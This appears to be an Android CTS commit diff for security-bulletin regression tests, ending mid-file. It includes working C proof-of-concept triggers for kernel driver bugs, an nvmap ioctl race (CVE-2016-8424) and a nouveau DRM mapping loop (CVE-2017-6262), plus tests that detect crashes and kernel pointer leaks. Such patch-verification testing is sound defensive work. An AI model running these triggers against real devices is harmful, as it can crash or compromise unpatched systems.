Merge "Convert hostsidetests/usb/**/Android.mk file to Android.bp (cherrypick)"
am: a01b2d52a6
Change-Id: I977ed2c8a52471f0e12249f49599ff4b71d6ebf2
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index cbb94ca..0f61403 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,7 +27,6 @@
<option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
<option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
<option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
<option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
<option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
<option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -55,18 +54,12 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<!--__________________-->
- <!-- Bulletin 2016-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
-
- <!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
deleted file mode 100755
index 65fe025..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
- liblog
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
deleted file mode 100755
index c6a330f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <cutils/log.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/falloc.h>
-#include <linux/magic.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/utsname.h>
-#include <sys/vfs.h>
-#include <unistd.h>
-
-int main(void) {
- int fd = -1, result = -1;
- char tmpFile[32];
- struct statfs sfs;
-
- memset(tmpFile, 0, sizeof(tmpFile));
- strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
-
- fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
- if (fd < 0) {
- ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
- return -1;
- }
-
- fstatfs(fd, &sfs);
- if (sfs.f_type == EXT4_SUPER_MAGIC) {
- result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
- if (result < 0 && errno == EOPNOTSUPP) {
- ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
- ALOGE("fallocate result EOPNOTSUPP");
- }
- }
-
- if (fd) {
- close(fd);
- }
-
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 204ace1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
- __u32 handle; /* nvmap handle */
- __u32 param; /* size/align/base/heap etc. */
- unsigned long result; /* returns requested info*/
-};
-
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
- char* dev_path = "/dev/nvmap";
- g_fd = open(dev_path, O_RDWR);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void trigger_nvmap_create() {
- ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
- //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
- static int data = 1024;
- ioctl(g_fd, NVMAP_IOC_FREE, data);
- //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
- printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
- }
-}
-
-void prepare_data() {
- void* data = calloc(1, 0x1000);
-
- g_allocation = (struct nvmap_create_handle*)data;
- g_allocation->size = 1024;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
- setup_privi_and_affinity(0, 2);
-
- int i;
- while (1) {
- if (init == 0) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- pthread_mutex_unlock(&mutex);
- init = 1;
- }
- trigger_nvmap_free();
- }
-}
-
-int main(int argc, char**argv) {
- setup_privi_and_affinity(0, 1);
- if (open_driver() < 0) {
- return -1;
- }
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- if (init == 0)
- pthread_cond_signal(&cond);
- trigger_nvmap_create();
- }
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
LOCAL_PATH := $(call my-dir)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
-#include "local_poc.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
-#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
#define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
-static int drm_version(int fd)
-{
- int ret;
+static int drm_version(int fd) {
struct drm_version ver;
ver.name_len = 100;
ver.date_len = 100;
@@ -39,17 +38,14 @@
ver.date = (char*)malloc(ver.date_len);
ver.desc = (char*)malloc(ver.desc_len);
- ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
return 0;
}
-static int nouveau_gem_ioctl_new(int fd)
-{
- int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
struct drm_nouveau_gem_new new_arg;
memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
new_arg.info.size = 0x1000;
new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
-
return new_arg.info.handle;
}
-static uint32_t get_gem_map_handle(int fd)
-{
- uint32_t handle;
-
- handle = nouveau_gem_ioctl_new(fd);
-
- return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
- int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
struct drm_nouveau_gem_map map_arg;
memset(&map_arg, 0, sizeof(map_arg));
map_arg.handle = handle;
map_arg.length = 0x1000;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
- if (ret == -1) {
- return;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
}
-void poc()
-{
+int main() {
int fd;
- const int MAX_MAPS = 10;
+ time_t test_started = start_timer();
- fd = open(DRMDEV_NAME, O_RDWR);
- if (fd == -1) {
- return;
+ while (timer_active(test_started)) {
+ fd = open(DRMDEV_NAME, O_RDWR);
+ if (fd < 0) {
+ return -1;
+ }
+
+ drm_version(fd);
+
+ uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+ for (int i = 0; i < MAX_MAPS; i++) {
+ nouveau_gem_ioctl_map(fd, handle);
+ }
+ close(fd);
}
-
- if (drm_version(fd) == -1){
- return;
- }
-
- uint32_t handle = get_gem_map_handle(fd);
-
- for(int i = 0; i < MAX_MAPS; i++){
- nouveau_gem_ioctl_map(fd, handle);
- }
- close(fd);
-
- return;
-}
-
-int main()
-{
- const int MAX_RUNS = 30000;
-
- for(int i = 0; i < MAX_RUNS; i++) {
- poc();
- }
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c1f998d..b9f3b2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -32,8 +32,6 @@
import static org.junit.Assert.*;
-import static org.junit.Assert.*;
-
public class AdbUtils {
/** Runs a commandline on the specified device
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index e11c523..1e33083 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -28,13 +28,14 @@
}
/**
- * b/27532522
+ * b/27890802
*/
@SecurityTest(minPatchLevel = "2016-07")
- public void testPocCVE_2016_3809() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+ public void testPocCVE_2016_3746() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+ logcat);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 9ae9d99..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,15 +26,4 @@
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
-
- /**
- * b/28760453
- */
- @SecurityTest(minPatchLevel = "2016-09")
- public void testPocCVE_2015_8839() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
deleted file mode 100644
index 4999e55..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_10 extends SecurityTestCase {
-
- /**
- * b/30904789
- */
- @SecurityTest
- public void testPocCVE_2016_6730() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
- }
- }
-
- /**
- * b/30906023
- */
- @SecurityTest
- public void testPocCVE_2016_6731() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
- }
- }
-
- /**
- * b/30906599
- */
- @SecurityTest
- public void testPocCVE_2016_6732() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
- }
- }
-
- /**
- * b/30906694
- */
- @SecurityTest
- public void testPocCVE_2016_6733() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
- }
- }
-
- /**
- * b/30907120
- */
- @SecurityTest
- public void testPocCVE_2016_6734() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
- }
- }
-
- /**
- * b/30907701
- */
- @SecurityTest
- public void testPocCVE_2016_6735() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
- }
- }
-
- /**
- * b/30953284
- */
- @SecurityTest
- public void testPocCVE_2016_6736() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
- }
- }
-
- /**
- * b/30741779
- */
- @SecurityTest(minPatchLevel = "2016-10")
- public void testPocCVE_2016_3916() throws Exception {
- AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
- AdbUtils.runCommandLine("logcat -c" , getDevice());
-
- AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
- "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
- Thread.sleep(10000);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<[\\s\\n\\S]*", logcat);
-
- //make sure the app is uninstalled after the test
- AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index d1c42da..b6bb97b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -13,6 +13,7 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 0956581..0239883 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -66,8 +66,8 @@
public void testPocCVE_2017_0334() throws Exception {
if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
- assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
- +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+ assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
+ +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
}
}
@@ -79,8 +79,8 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
- "audioserver <<<.*", logcatOut);
+ assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+ "audioserver <<<", logcatOut);
}
/*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index ae83bcb..248e257 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -47,7 +47,7 @@
@SecurityTest(minPatchLevel = "2017-04")
public void testPocCVE_2016_10229() throws Exception {
String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
- assertNotMatchesMultiLine(".*OVERWRITE.*", out);
+ assertNotMatchesMultiLine("OVERWRITE", out);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 87f6fde..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
- /**
- * b/34277115
- */
- @SecurityTest(minPatchLevel = "2017-05")
- public void testPocCVE_2017_0630() throws Exception {
- if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
- String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
- "/printk_formats", getDevice());
- assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 7c0936a..67becec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
@SecurityTest(minPatchLevel = "2017-12")
public void testPocCVE_2017_6262() throws Exception {
if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index a8af91a..4bf7b80 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -26,6 +26,6 @@
@SecurityTest(minPatchLevel = "2018-03")
public void testPocCVE_2017_13253() throws Exception {
String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
- assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
+ assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..02436e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.runner.RunWith;
+
+public class Poc18_04 extends SecurityTestCase {
+ /**
+ * b/69683251
+ * Does not require root but must be a hostside test to avoid
+ * a race condition
+ */
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13286() throws Exception {
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..9e50e1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class Poc18_11 extends SecurityTestCase {
+
+ /**
+ * b/111330641
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testPocCVE_2018_9525() throws Exception {
+ assertTrue(AdbUtils.runCommandGetExitCode(
+ "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
